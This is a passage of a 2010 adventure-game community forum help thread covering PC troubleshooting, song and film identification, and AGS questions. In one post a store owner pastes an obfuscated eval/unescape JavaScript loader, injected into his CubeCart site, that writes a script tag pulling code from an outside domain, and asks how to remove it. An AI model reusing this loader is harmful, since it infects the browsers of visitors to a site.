(hopefully you can see that without having to log in?)

I'd like to do it automagically, so I just generate one image for whatever player wants it, and it'll just grab the latest data every day? I have a way to do it by copy and pasting from the page and using that data, but dunno the magic to do it nice automatically :)
Title: Re: Ask something - We can help.
Post by: Leon on 01 Aug 2010, 17:50
Not sure which language you're using to create your app (AGS?) but cUrl (http://curl.haxx.se/) is something we used a lot to fetch data from websites automated...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 01 Aug 2010, 17:54
I am doing exactly the same thing for an AGS achievement system (which works by the way ^_^).

The best way to do it i think is to use a PHP graphics library to generate the image based on data from a database... thats what mine does anyway.
Title: Re: Ask something - We can help.
Post by: GarageGothic on 01 Aug 2010, 18:06
I am doing exactly the same thing for an AGS achievement system (which works by the way ^_^).

So we can look forward to hunting around for hundred hidden bluecups in McCarthy ep. 2?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 01 Aug 2010, 18:18
especially now that you've just given me that idea.
Title: Re: Ask something - We can help.
Post by: ddq on 01 Aug 2010, 19:06
But they would probably stand out pretty easily against the black and white.
Title: Re: Ask something - We can help.
Post by: Ali on 01 Aug 2010, 20:42
They only turn blue once you find them, of course.
Title: Re: Ask something - We can help.
Post by: monkey0506 on 02 Aug 2010, 22:31
My primary HDD died. Fix it.

Edit: It came back to life. Thanks for fixing it guys. You're the best.
Title: Re: Ask something - We can help.
Post by: monkey0506 on 04 Aug 2010, 20:07
Networking on Windows 7


Who told Mr. Gates that completely screwing everyone was a good idea? I think it must have been his financial advisor. The reason I say that is because Microsoft's free help services like their online "[Lack of] Knowledge Base" has absolutely no helpful information. Presumably calling the toll number for support would help though.

You have no idea how many results "windows 7 unidentified network" yields in a Google search. That is unless you are of course actually using Windows 7. For those who aren't using 7, let me just warn you that wired network connections, by default, are considered "Unidentified public network(s)" in Windows 7. Yes, of course it's public, hence the fact that my desktop PC is physically connected. Why wouldn't it be? Oh, and you can't change the type of network without modifying 7's security policies.

Doing that of course just makes it into an "Unidentified work network" though, so that does a lot of good.

Troubleshooting doesn't do any good because the built-in troubleshooter just says "Windows can't fix the problem."

Google, which is normally our friend, seems as lost and confused as I am. Despite the more than two million results, of which I have of course tried every single one and that is not an exaggeration by any means..::)..nothing seems to be fixing the problem.

I tried using Windows XP Mode which worked for a while, until suddenly it didn't. Nothing actually changed, Windows just decided allowing me to have the internet in my room was unacceptable. Rebooting all systems and such normal preliminary troubleshooting did nothing.

Finally I encountered an article on Google that yielded some insight. Manually assigning the Default Gateway of the ethernet port (in addition to modifying 7's security policies and disabling Windows Firewall, which is really just a way of Microsoft controlling what you can do with your network anyway) finally got 7 to recognize it as an identifiable network. But, we're not home just yet.



THE QUESTION:

Given the above information I now have an identified home network connection on the local ethernet port, but it says "No network access". WHY??

Oh, and apparently starting XP Mode gave it network access, but it is local only. I need it to have internet connectivity. Fix it plzkthxbai.
Title: Re: Ask something - We can help.
Post by: monkey0506 on 10 Aug 2010, 03:18
I understand quite fully the purposes of HTTPS, but currently my internet access is being derived from one or more Android applications (testing different applications to see if the cheaper one is better, in the event we purchase one) to use the data services of the phone to allow tethering. However, the free versions of these applications disallow HTTPS.

I have verified that I can access HTTPS secured pages via a proxy site which serves the page back to me via HTTP.

Is there any way to set this type of proxy access up to directly serve HTTPS sites via HTTP?

If not the full applications range from about $10-$30 USD, as a one time fee, so it's not that big of a deal. Just curious more than anything.
Title: Re: Ask something - We can help.
Post by: Tuomas on 12 Aug 2010, 10:25
So here's a question:

I have this Acer laptop with Vista on it. The Vista came with no Cd, so once I opened this, it installed itself. I know this is a daft question, but I need to access and update my bios. At startup it says F2 for Setup, nothing more. Now I've restared the computer several time, trying out del, F8 and F4 and such. Well, I thought setup would be the place, but I can't find anything concerning my bios or how to update it :/ How to?
Title: Re: Ask something - We can help.
Post by: Oliwerko on 12 Aug 2010, 10:29
First you have to know exactly what motherboard does your laptop have. Then go to the manufacturer's website and instructions should be there. (in a case of a laptop the laptop's manufacturer's site should have the BIOS I guess)

For example, I have an Intel DP35DP, so I went onto Intel site and downloaded an .exe which conveniently updated my bios on its own. Another procedures include flash disks or burning it onto CDs and such.

Anyway, if I recall correctly the rule of thumb is not to update bios if you don't need to.
Title: Re: Ask something - We can help.
Post by: InCreator on 12 Aug 2010, 13:20
You have no idea how many results "windows 7 unidentified network" yields in a Google search.

Are you talking about case where randomly after rebooting internet is down, connection list shows unidentified network and the devil's in a stupid service with strange name (Bonjour DNS Responder if I recall correctly) that Abobe (may you burn in hell) installs so disabling it fixes the problem?
Title: Re: Ask something - We can help.
Post by: Tuomas on 12 Aug 2010, 14:11
Anyway, if I recall correctly the rule of thumb is not to update bios if you don't need to.

I'm fairly sure this is however what I need to do. Once I installed my tablet last time, the touchpad driver broke down and wouldn't work, so I had it repaired and they installed the driver anew and updated the bios for the touchpad. This time I found new drivers for the tablet, installed them and got it working finally properly, only it screwed up my touchpad again. I managed to update the driver there too, there's still bios things, afaik. Though I'm afraid the problem might be, that my touchpad and my tablet don't just like to co-exist.

PS. any idea how to find the mobo without opening this shit up. I won't mind, but it's a lot of work :P
Title: Re: Ask something - We can help.
Post by: Oliwerko on 12 Aug 2010, 18:46
I would look up your laptop model on the manufacturer's site, BIOS updates will hopefully be where other drivers are. At least with my DELL it was like this. Opening the thing up probably wouldn't help.
Title: Re: Ask something - We can help.
Post by: Peder on 13 Aug 2010, 07:22
[QUESTION]
Who is the character artist and who is the animator I should hire for my (640x480) game (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36479.msg549880#msg549880)? :P

(http://www.sonsofgaia.net/cell.png) (http://www.sonsofgaia.net/cell.png)
[1/2 size]
Title: Re: Ask something - We can help.
Post by: Buckethead on 13 Aug 2010, 08:35
I recommend Progzmax  ;)
Title: Re: Ask something - We can help.
Post by: Oliwerko on 13 Aug 2010, 10:33
Okay, here's a question.

What's the musical instrument playing the solo at 1:06 in The Renegade Theme (http://www.youtube.com/watch?v=x94hc46MfX4&feature=related)?

I think it may be some kind of woodwind or such, but am clueless about the precise specification.
Anyone?
Title: Re: Ask something - We can help.
Post by: Tuomas on 13 Aug 2010, 11:10
Sounds like plain guitar + harmonica to me.
Title: Re: Ask something - We can help.
Post by: Wyz on 13 Aug 2010, 11:11
I'd say it's a harmonica, a bit distorted though.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 13 Aug 2010, 12:17
Harmonica was my first guess too, that would have to be a larger one I guess...? A small blowing harmonica has is a bit higher, isn't it?
Title: Re: Ask something - We can help.
Post by: Tuomas on 13 Aug 2010, 14:45
A small blues harmonica with 10 holes has just 3 octaves in pentatonic scales, so this one's definately not that, but a larger 16-hole chromatic harmonica, which goes a bit over 4 octaves, I presume.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 13 Aug 2010, 19:25
Thanks for helping out, I'll look into it. The most important thing to know is that it's really a harmonica.  :)
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on 15 Aug 2010, 18:17
I've got a difficult question that I believe NO ONE here can answer. I've been looking for a song for a few years now. It's entirely instrumental. It mainly consists of an electric jazz piano playing a jazzy riff over and over. The guitar only does a fast pick of a chord only once in a while. I believe that the song came from the 70's, as that's the style, but I can be completely wrong about that. That's all I really remember about the song. If anyone can help, I'd be very VERY grateful.
Title: Re: Ask something - We can help.
Post by: Stupot on 16 Aug 2010, 12:16
Youch, that's one hell of a task, Grim, but that's what the thread's for.  We accept your challenge ;-)
Title: Re: Ask something - We can help.
Post by: Tuomas on 16 Aug 2010, 12:25
Sorry to bug in, but I've got a short little question I was hoping you could help with. I've got a laptop with vista connected to a router wireless. I've got another laptop right next to it with vista as well, but it doesn't find the wireless connection. It does however find all of the other connections in the building. Why?

edit: fixed, not by what GG said, but thanks anyway. Still don't know the reason thoughh:)
Title: Re: Ask something - We can help.
Post by: GarageGothic on 16 Aug 2010, 12:46
Is your router set to broadcast its identity (SSID)? Otherwise you'll have to add a new network under "Manage wireless network" in the "Network and Sharing Center" and enter the network name manually along with any encryption method and password used.

@grim: Not a lot to go on - if you remember the melody, perhaps you could record yourself playing or humming it? Not sure it would help, but it might be good for a laugh :)
Title: Re: Ask something - We can help.
Post by: InCreator on 16 Aug 2010, 13:09
@grim: Not a lot to go on - if you remember the melody, perhaps you could record yourself playing or humming it? Not sure it would help, but it might be good for a laugh :)

You can also do it online (http://www.google.com/#hl=en&source=hp&q=hum+to+identify+song&aq=0&aqi=g1&aql=&oq=hum+to+id&gs_rfai=&fp=dba07cc1e57261b) and maybe get instant results
Title: Re: Ask something - We can help.
Post by: monkey0506 on 16 Aug 2010, 20:46
@Increator @ me: No. There are no installed Adobe programs that would have and/or did install that service which is not running and was totally unrelated. I ultimately corrected the issues by not using the Internet port of the router at all and only using the other ports. Which frankly doesn't make sense, but it works.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on 17 Aug 2010, 02:26
I found a copy of the song on an old mix CD that someone had burned for my brother a few years ago. There are no track names, but I was able to upload the song.

http://www.multiupload.com/ZK4RYNQQR2

I would be grateful if anyone can help!
Title: Re: Ask something - We can help.
Post by: GarageGothic on 17 Aug 2010, 03:02
Green Onions (http://www.youtube.com/watch?v=U-7QSMyz5rg) by Booker T. & the M.G.'s (could be a cover version though, hard to tell with instrumentals - Blues Brothers did a nice one)
Title: Re: Ask something - We can help.
Post by: Tuomas on 17 Aug 2010, 10:47
Haha, man, this still plays on a Dressman - men's clothing commercial on tv all the time. Well, in Finland at least.
Title: Re: Ask something - We can help.
Post by: TerranRich on 17 Aug 2010, 15:36
Another version of "Green Onions":
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on 22 Aug 2010, 06:14
Thanks all for your response. I can finally sleep now that I know what the song is called.

I've got another question that I hope someone can help me with. I recently discovered 3D videos on YouTube, and have since decided to convert my movies into 3D (using red/cyan). I've been following this guide located at http://www.maximumpc.com/article/howtos/how_upgrade_your_2d_movies_3d. The video works as would be expected, but for some reason, the audio is always out of sync. I've tried this on several different files, but this keeps happening. There are two movies I've tried that I was successful able to convert. Can someone explain how to fix this? Thanks.
Title: Re: Ask something - We can help.
Post by: Oliwerko on 25 Aug 2010, 10:43
Okay, I've got a song I can identify, but can't find a studio recording of it anywhere to buy or anything.

It comes from the movie Little Vera (http://en.wikipedia.org/wiki/Little_Vera) and plays during the disco fight scene (
&feature=related).

There's one version all over the internet which is sadly only a cut from the movie.

Now the actual artist is Галина Шевелева (Galina Sheveleva) and its name is "How Well" ("Как Хорошо"). The lyrics are apparently written by V. Matetskiy.


If there is any source from which one could get to the actual studio recording and not just a cut from the movie, I would be EXTREMELY happy.
Please, make me happy  :P

Thanks for any effort!
Title: Re: Ask something - We can help.
Post by: InCreator on 31 Aug 2010, 09:27
Here's one:

I've been wondering how would world look like if I was microscopic. A bit larger than a molecule, maybe.
My theory is that from this standpoint, friction and chemistry should look quite dramatic. For example, placing hand on a table would cause thousands of skin cells and wood/varnish pieces to scatter, loads of water and oil in skin is pushed through the cells, atoms in skin start reacting with atoms in table, etc. Like that episode in South Park with fleas where even head washing looked like tsunami.

And it's all just too microscopic to actually see table or skin damage/wear or feel any actual chemical reaction.

Is that plausible, or are materials actually much more stable than I think and nothing of sort would happen?
Title: Re: Ask something - We can help.
Post by: Alun on 31 Aug 2010, 16:21
I've been wondering how would world look like if I was microscopic. A bit larger than a molecule, maybe.

Well, there's microscopic, and then there's "microscopic".  If you're talking "a bit larger than a molecule"... then there are other things to consider.  If you're "a bit larger than a molecule", are you then made up of only one or two molecules?  If so, then how are you able to feel or sense anything anyway?  A single molecule isn't complex enough to be alive.  Or if you assume the molecule is somehow magically alive... well, then whether or not it would react with anything depends on what the molecule is made of, but in any case there's no point in talking about "hands" or "cells" if there's only one molecule.  On the other hand, if you're assuming the molecules in your body themselves shrink... well, then, we're talking about something impossible in modern physics, and it's not really feasible to say how such shrunken molecules would interact with normal molecules because they shouldn't be able to exist anyway.

But maybe I'm reading too much into this, and the part about you being microscopic isn't germane to the question; you're only asking about what's going on on the microscopic scale and the exact method used to sense this is irrelevant.  In that case, well, yes, on the microscopic scale atoms and molecules are coming off all the time.  Even larger units are flaking off; you're constantly shedding off microscopic bits of skin.  When you smell anything, you're actually inhaling bits of that thing that have come off and been carried through the air, so your sense of smell depends on the fact that this happens.

But really, a lot of things are different on small scales, so it's hard to answer this concisely.  Things like friction, air resistance, and liquid surface tension all become much more significant on the scale of an insect than that of a human.  Get down even smaller, and other things come into play; when you get down to the size of an atom or molecule, then quantum mechanics steps in, and things get really weird... things don't have definite position, everything is a probabilistic wave, and solid objects have a small but finite probability of passing through each other... insofar as a "solid object" even exists at that scale...
Title: Re: Ask something - We can help.
Post by: Anian on 31 Aug 2010, 16:46
...how would your body be constructed? For example absorption of oxygen would be impossible if compared to you it was the size of a car. And even if it wasn't, would you be strong enough to pull away one atom from another in a molecule?
You'd have a completly diffrenet way of basic building blocks and mechanics. Your body might be constructed out of something that's probably smaller than bosons. Not to mention that you'd probably be torn appart as soon as you reach that size, your building blocks would probably have too low interconnection to resist forces we consider harmless (like water tension - you can break it with your finger, but at micro (or even visible under microscope size) sizes it'd probably hold you stuck.

Perspective: if a fly is a proton then a whole atom (with electrons) is the size of a smaller cathedral. So smaller than a molecule and a bit bigger than a molecule changes things quite a bit.
You'd also probably be affected by gravitiy, polar forces in things like water molecules, magnetism, electricity, probably no friction though because you'd just have to watch out not to touch the bosons.

Then again, if you were like 5 molecules high (tall), things would be different.
Title: Re: Ask something - We can help.
Post by: MJL on 06 Sep 2010, 19:04
Something PHPy - I have a CubeCart store but Google web tools is telling me there's malicious code in it somewhere, namely these urls:

/store/
/store/index.php?act=viewCat&catId=6

with the code:

Code: Adventure Game Studio
  1. <script language=javascript><!--
  2. (function(mnFxR){var hMmgD='v#61r#20a#3d#22Sc#72#69#70#74#45
  3. ngine#22#2cb#3d#22Vers#69on#28)+#22#2cj#3d#22#22#2cu#3dn#61v
  4. #69gat#6fr#2e#75#73e#72#41#67ent#3bif(#28#75#2eindexOf#28#22
  5. Chro#6d#65#22)#3c#30)#26#26you#2eindex#4ff(#22Wi#6e#22)#3e0#2
  6. 9#26#26you#2e.... some edited out here ........  src#3d#2f#2
  7. f#6d#22+#22artuz#2e#63n#2fvi#64#2f#3fid#3d#22+#6a+#22#3e#3c#
  8. 5c#2fscr#69pt#3e#22)#3b#7d';eval(unescape(hMmgD.replace(mnFx
  9. R,'%')))})(/\#/g);
  10. --></script>
  11.  

My question is this. Neither of those URL's actually point to a file where I might find the problem. I've checked index.php and removed it and also it was in the .js thing and so I removed the code from that, resubmitted to Google but it's come up with the problem again (in different areas of the site).

So, in my main store folder with index.php and cart.php etc I've checked all the php files and the code is NOT in them. Where the heck else might it be? And how do I check the contents of the one with product ID through my FTP client, cos again, it's not a HTML page but I'd assume somewhere it is storing the info I'm writing onto those pages.

Any help or some pointers are appreciated, thanks! :)
Title: Re: Ask something - We can help.
Post by: ddq on 08 Sep 2010, 05:48
If anyone has ridden on the Trans-Siberian Railway at any point in the past, I'd be ecstatic to get in contact and ask a few questions for some research.
Title: Re: Ask something - We can help.
Post by: MJL on 09 Sep 2010, 10:28
Okay so I watched Once Upon A Time In America the other night and it was very good, but I'm totally stumped about the ending. I think I missed the first 20 mins of the movie and understood and enjoyed all of it but the last 2 scenes really confused me.

Who is Mr Bailey, how/why does Noodles know him? Was it James Woods playing that character, and if so why wasn't he credited. Is Mr Bailey "Max" when older? If not why does he have the watch??

Also:

The final shot, is it supposed to imply Noodles will get over things....because he can always go and smoke some dope? Cos it did to me :P What's the meaning? I don't remember seeing him go and do that anywhere else in the movie. And why is that his middle aged self again? !11

If anyone can enlighten me I'd be greatful :) Thanks! Oh and Peder is looking into my PHP problem so thanks to you!
Title: Re: Ask something - We can help.
Post by: Stupot on 30 Sep 2010, 17:28
Hey chaps and chapesses.

So, who knows what happened to Pixel Town? (Or at least I'm SURE that's what it was called but I can't find it anywhere...  it was kind of a gradually updated pixel town with some web-comicky aspects... I'm sure I didnt imagine it.

s'okay, I found it... Isotown!

Cheers
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Post by: LUniqueDan on 02 Oct 2010, 19:49
While talking of Isotown, is anyone have any news from Spaceboy? And Spacejane Colony?
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Post by: Dualnames on 02 Oct 2010, 22:45
Wow, that's a blast for the past. Still wonder what made the guy leave.. :'(
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Post by: Paper Carnival on 03 Oct 2010, 10:20
Mods:

Yes, he's older Max. Maybe this scene was cut out from the version you saw, but Noodles also sees the actress' son and he looks just like Max when he was young. This hints that Max had a son with her and that Max is still alive

I've not seen this film for years and I can't even remember this scene to comment on it, but it's possible that it doesn't have any significance.
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Post by: bicilotti on 11 Oct 2010, 22:06
I decided that I waste too much time typing, so I am learning some alphabetic shorthand (http://en.wikipedia.org/wiki/Dutton_Speedwords).
Nothing too fancy: let's say that 'k' is 'that' and 'c' is 'this', an example sentence would be

K girl is very pretty, c one is ugly.

which of course would look

That girl is very pretty, this one is ugly

in longhand.

I need some software to "replace" what I've written from shorthand to longhand.
Now, I know there are softwares for MS Office or OpenOffice that do that, but ideally I want it everywhere, e.g.:

-I'm writing on IRC, I type "K is cool", press some hotkey combo, obtain "That is cool".
-I'm using notepad to sketch some ideas,  idem.
-etc.

Hints?
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Post by: cat on 11 Oct 2010, 22:10
Interesting, I didn't know such a thing exists. But I guess I'm too lazy to learn those abbrevations (I hardly know any shortcut keys) so I will type this and that  ;)

Oh, and I don't know how you could do that. There would have to be a programm that catches your keystrokes and transforms them or something.
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Post by: Wyz on 11 Oct 2010, 23:21
I did a quick search and found several programs, including AutoHotkey (http://www.autohotkey.com/) which seems to do the trick, and is free. Just look for hotstring in the help file and you should be able to set it up :)
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Post by: bicilotti on 12 Oct 2010, 11:21
I did a quick search and found several programs, including AutoHotkey (http://www.autohotkey.com/) which seems to do the trick, and is free. Just look for hotstring in the help file and you should be able to set it up :)

bicilotti writes:
k y imo uss!

->

that was indeed useful!

Thanks Wyz!
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Post by: RetroJay on 13 Oct 2010, 23:12
Hi all.

I have been trying to remember the name of an Amiga game I used to play. (back through the mists of time).

Ok. It was a flight simulator set in the future where smog had covered everything at low level.
You played a cop and started on the top of a sky scrappper by your craft, in the nice clean air.
After take off you had to fly around and look for, certain,  bad guys which sometimes took you bellow the smog cover.
Once under the smog all the buildings were red and streets were black. Also there were areas such as Chinatown, Nob Hill and others.

Can anyone remember the name of this game?
Also what company made it?

Thanks.
Jay.
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Post by: Kweepa on 14 Oct 2010, 03:40
Killing Cloud. Awesome game!
http://www.mobygames.com/game/atari-st/killing-cloud/screenshots
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Post by: RetroJay on 14 Oct 2010, 18:24
Killing Cloud. Awesome game!
Dear Mr McCrea.

Thank you... Thank you... Thank you.

That's the game. :)
I agree with you 100 percent. It was an awesome game.
I wish games companies, today,  would look at some of the old games and re-make them.
There were some damn good ideas then.

Many thanks.
Jay.
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Post by: theo on 14 Oct 2010, 21:45
I have done some searching on the forums but have had a hard time getting a straight answer to this question:

Is it true that there is no way to have antialiased fonts in AGS when they are displayed against... say, my backdrop?
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Post by: GarageGothic on 14 Oct 2010, 21:56
Most of the info you found was probably years old. While I haven't tested it myself yet, I was under the impression that this is no longer an issue in AGS 3.2.

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* Added support for anti-aliased TTF fonts in all situations where they weren't previously supported.
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Post by: Calin Leafshade on 14 Oct 2010, 22:01
yup, ttf fonts display anti-aliased in all situations out of the box in 3.2.

Just make sure you set "Anti-Alias True Type Fonts" in the general settings.
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Post by: Scavenger on 14 Oct 2010, 22:30
I wanted to ask people their opinion on soundcards and this is just the place to do it. (because making a thread would be a little wasteful)

I want to get a new soundcard for MIDI playing. HW Soundfonts are a must, and OPL3/Adlib hardware support is good, but not required. I have an AWE32, but my main PC doesn't have an ISA slot and I can't find any suitable alternative. It's just for MIDI, I don't mind not having 3D surround sound and technicolor 64bit quality (as I already have a soundcard) - but something that can do GM MIDI like an AWE32 (and maybe OPL3) but in a PCI slot on an XP Computer? Is perfect. I already have an MT-32 for some of my MIDI needs... but the rest of it needs work now. The Microsoft SW Synth is really bad and softsynths eat too much CPU and RAM.

Thanks guys :)
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Post by: theo on 14 Oct 2010, 23:09
Thanks Gothic + Leafshade. This made me realize that I am not running the newest release of AGS.

This however gives rise to another question -which honestly I feel a bit stupid asking- where can I download AGS 3.2? I found a thread in the technical forum but the dl link was broken.  :(
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Post by: GarageGothic on 14 Oct 2010, 23:11
This URL (http://www.adventuregamestudio.co.uk/AGS-3.2.exe) (from 3.2 release thread) works fine for me.
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Post by: theo on 14 Oct 2010, 23:17
thanks, man! Antialiasing is working fine now!
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Post by: MJL on 18 Oct 2010, 16:18
How do I stop Vista from activating my audio outputs ONLY when they're plugged in?

For eg. Forever I've been able to pull out the headphone jack and replace it with speaker jack and the music will continue. But not currently.

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Post by: Dualnames on 18 Oct 2010, 16:59
Change to Windows7 man! Or back to XP. Vista is really shit. I know I'm not helping much, but you know you want it m0ds. Go INTO THE LIGHT! :D
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Post by: MJL on 18 Oct 2010, 23:45
Hey, it's good advice Jim - trust me. This machine CAME with XP, then when it crashed in the summer I tried to re-install it but for some dagnam reason it wouldn't let me! So the only option I had was Vista. I'll be saving up for a new PC next year so yes hopefully it will come with Windows 7. But I bet it'll still be shitty about headphones being plugged in or not!  :P
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Post by: LRH on 01 Nov 2010, 17:26
New question from Domithan!
Huzzah!

So it's this:
WHAT THE HELL MOVIE AM I THINKING OF?!
It's been driving me crazy.

Clearly I don't know the title, but I only caught a portion of it on TV when I was a kid and it scared the crap out of me. All I can remember was that there was that creatures from fairy tales came to life, silenced everyone, and was tearing our their hearts. Does this sound familiar to anyone?
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Post by: Damien on 01 Nov 2010, 18:21
Sounds like:

http://en.wikipedia.org/wiki/Hush_%28Buffy_the_Vampire_Slayer%29 (http://en.wikipedia.org/wiki/Hush_%28Buffy_the_Vampire_Slayer%29)
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Post by: LRH on 01 Nov 2010, 18:54
That's it! Thank you!

Just watched it on netflix, never been a fan of Buffy before,but it was interesting! Also substantially less scary than it was 11 years ago :P Even a bit funny, at points.
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Post by: Snarky on 01 Nov 2010, 19:10
I only caught a portion of it on TV when I was a kid and it scared the crap out of me.

I am old.  :(
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Post by: Anian on 01 Nov 2010, 19:32
Oh, yeah, I remember that episode somewhat and yes it was scary...well more like creepy. I also remember the one about a girl that everybody ignored so much that she actually became invisible, I don't remember much more, even though I followed the series at the begining (later the whole Angel situation where he's bad but not etc. and the whole soapy affairs just turned me off the show).
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Post by: MJL on 02 Nov 2010, 16:59
An ask for something... if anyone is (or you know anyone) particularly passionate about creating nifty animated logo's then please get in touch. I need someone to create a 15-25 second animated intro for Screen7 for use in my projects, especially so for the new Ben jordan movie. I'm not talking GIFs but fully animated 3D sequences. Anything simple like:


Or complex like:


You would have total creative control, no need to use the current Screen7 logo format. All I can offer is that you'll see it used for the next decade or so in my projects :) And several beers/cokes in the future should I meet you. PM me if you might be able to help! If enough people are interested I'll make a new thread & let the AGSers pick their favourite.
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Post by: MJL on 06 Nov 2010, 02:18
oh man oh man some company called 2checkout.com have somehow taken 20 quid out of my paypal, I haven't ordered anything... how could this happen :(

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Contents of your purchase :
Product ID : 14
 Vendor Product ID : 012
 Product Description : Wi-Free Business Voucher Code
 Product Name : Wi-Free Business Plan
 Quantity : 1
 Handling Fee : 0.00


WTF :| Who should I report this too, paypal?

How do I disable my card from my paypal account? meh


EDIT. Mm, okay, trying the "resolution centre" thing. This happened to anyone else before?
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Post by: Bulbapuck on 09 Nov 2010, 11:46
How do I order stuff online?

No, really. I've never bought anything online, and it's incredibly confusing to me.

I'm sitting with this thing I have to fill out, and I don't know what the hell they want me to write.

My confusion starts with the fact that I have to fill out a "billing address" which will be used as the shipping address too. But I'm going to pay with a master-card, so I don't know what they're going for here.

My confusion then continues when I reach the "address line" bit. What is it they want here? As city, country and zip-code are asked for separately, am I only supposed to write the street and street-number?

Then came country and city, and everything is cristal clear. But then came "state", and I'm confused as fuck. Do I write "Sweden" again?

Can you guys help me out?
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Post by: cat on 09 Nov 2010, 12:17
Billing adress is usually the same as the shipping address, unless the thing you buy is a present. Then you put your address in the billing address field and your friends address in the shipping address field. Your friend will get the present and you will get the bill.

The state field is for people from the USA, you can probably leave it empty or write sweden again.
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Post by: Bulbapuck on 09 Nov 2010, 12:19
Got it.

Thanks cat :)
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Post by: MJL on 25 Nov 2010, 17:43
I wonder if anyone knows the name of an old cartoon which intercrossed with some real footage, I think it was about a fat kid (in the cartoon segment) and his older self (a fat elder man) I think looking back at himself. That's about all I remember of it. Oh and he was quite obnoxious, always shouting stuff. "JUST DO IT!" I'm really looking for its name, I haven't got a clue what it could be though, or what channel it used to be on. But me and my friends enjoyed it many years ago. Anyone remember anything like that?
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Post by: GarageGothic on 25 Nov 2010, 17:56
Probably not it, but I can't help thinking of Fat Albert and the Cosby Kids (http://en.wikipedia.org/wiki/Fat_Albert_and_the_Cosby_Kids), though I would assume you'd have mentioned Bill Cosby being in it (and besides he was neither fat nor elderly at the time (http://www.youtube.com/watch?v=6WT-fxBNKs8)). Still, obnoxious as fuck :)
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Post by: MJL on 25 Nov 2010, 20:22
Hehe thanks, I vaguely remember that one, but no, it was most definitely a fat, white kid :)
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Post by: jetxl on 27 Nov 2010, 15:59
Life with Louie (http://www.youtube.com/watch?v=ljnps51Wnqk&fmt=18)?
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Post by: MJL on 27 Nov 2010, 16:10
That's it!! Awesome, thanks jet!
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Post by: theo on 01 Dec 2010, 21:23
I realize this is a bit of a n00b question but it's time for me to step out of the closet and challenge my ignorance.

Who/what is oceanspirit dennis?
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Post by: Ryan Timoothy on 01 Dec 2010, 21:32
It was explained quite well right here (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42078.0) with the release of Ponch's amazing pirate game. It was actually quite fun.

The thread that spawned the gay Oceanspirit Dennis was this (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=40869.80) one. Thanks to Icey Games, Ben and DDQ and Snake; and the rest who've created games with the amazing Oceanspirit Dennis character.
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Post by: ddq on 01 Dec 2010, 21:34
I'm so very glad you asked, theo! Prepare for a wall of text.

Oceanspirit Dennis is, at its most basic, a collective game universe that found its genesis in a thread where Iceygames asked about RPGs. He showed a picture of his JRPG protagonist named "Dave". I told him that Dave wasn't silly enough and instead suggested "Ocean, or Spirit, or Dennis". Snake then replied, "Oceanspirit Dennis?", to which I further added "Oceanspirit Dennis: Scourge of the Underworld". And a drew a silly picture of what someone with that name might look like, and a few days later, Ben304 made a funny little joke game with that title based on the picture.

Since Ben decided to make the game Open Source, more games followed, each expanding the character's personality and back-story, and eventually, his whole universe. What we ended up with was a Gay/Bi Pirate/Ninja/Private-Eye Adventurer/Warrior/Sex-Symbol. Of course, it's all satirical and I don't expect anyone to take it seriously, or even really like it.

If you like JRPG parody, give some of the OSD games a chance. You certainly don't have to play all of them to understand the whole universe, because you wouldn't even if you did. I hope this explanation was satisfactory.
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Post by: Dualnames on 01 Dec 2010, 22:02
This might help: http://ags-ssh.blogspot.com/2010/05/oceanspirit-dennis-osd-or-ron.html
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Post by: Anian on 02 Dec 2010, 17:06
There's a lot of tech savy people here, so I hope somebody will know this and help me:
so it's an mp4 video h264 - mpeg-4 avc (avc1)
resolution is 1280x528 (720 actually), 24 fps, the file has 3.4 gb
What I want to do is show this to my friends on my full hdtv panasonic tv which is connected to a panasonic bluray player bmp bd-80 by transfering the movie from pc to player via an usb stick or and SD card (both are 8gb). But the thing won't read it no matter what.

I tried Nero Visio Xtra and I made a sample movie work by making "avchd to sd" but when I try that for this bigger file, I get a 15 gb large file. I got a copy from another friend that works in this sd into bluray setup and this movie is about the same lenght and same quality but it takes up 7 gb.
The bluray really has trouble reading stuff unless it's divx or in the avchd format (with proper folder structure)

There are 99.99999% converters on the net that transform avchd into mp4, but very few go the mp4 to avchd, I tried a few, but they don't seem to work properly (avidemux, winx deluxe etc.). I'ts also hard to actually google it cause it just keeps turning out avchd to mp4/avi converters...

Help would be very much appreciated.

EDIT: there might be some restriction on the fact that SD card has fat format, so a movie of lets say 7 gb should be split into two smaller files, but I guess the softawre should offer an option for that or do it automatically...
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Post by: theo on 02 Dec 2010, 21:33
ok thanks yall. what an intriguing character.  ;D
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Post by: MJL on 09 Dec 2010, 18:47
Another computer tech question, I'm wondering if anyone here has suffered and recovered from an nvlddmkm.sys error? There's a lot about it when searching google, but meh, no valuable solutions. It's related to nVidia graphics card I believe, though someone suggested it may have been caused initially by sound drivers mucking up. I've never encountered this issue though, but that's probably cos this is my first major crash with Vista (which I only started using since the summer).

It appears the "best" solution is throw your PC out the window and buy a new one.

I was playing a game, not designed for Vista, but had no idea, and half way through it locked up my machine, so I turned it off. I tried playing the game again, thinking it was a temporary issue but it locked again, so I turned my PC off again. However, this time when it booted, it wouldn't let me into normal Windows mode, only safe mode. Normal windows mode would show me a black screen after "Microsoft Corporation" and 5 minutes later a BSOD with the nvlddmkm.sys error.

Things online said to reinstall drivers, blah de blah, which I tried, no luck. One of the online solutions was to reformat, so I did that. I now have a partially installed Vista but it still won't let me into normal Windows mode, so I cannot complete the set up which also means I cannot enter safe mode. F***!

The "Dell" splash screen and all the DOS screens in the starup are mashed up, all the characters are screwed up like some kind of computer screen from the matrix. Both before and after my reformat and reinstall attempt.

So, has my graphics card been fried? Could it be a motherboard fry up? Any ideas are appreciated, but it looks like a new PC is going to be the only solution, as it's impossible to get into Windows, and for some reason I'm unable to install XP or Win 2K cos I get another BSOD when I try either.

Luckily though, this time I managed to back everything up. However it does mean a substantial delay to a certain movie. Gah! I don't expect anyone to have any solution regarding my problem, but if you've encountered this issue, I'd be interested to know how you solved it.

Mods
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Post by: OneDollar on 09 Dec 2010, 21:52
@Mods
Sounds pretty bad. I haven't come across that error, though a game that's 'incompatible with Vista' should never kill a PC, especially not to this level. It does seem like a hardware error if you're getting a messed up Dell screen.

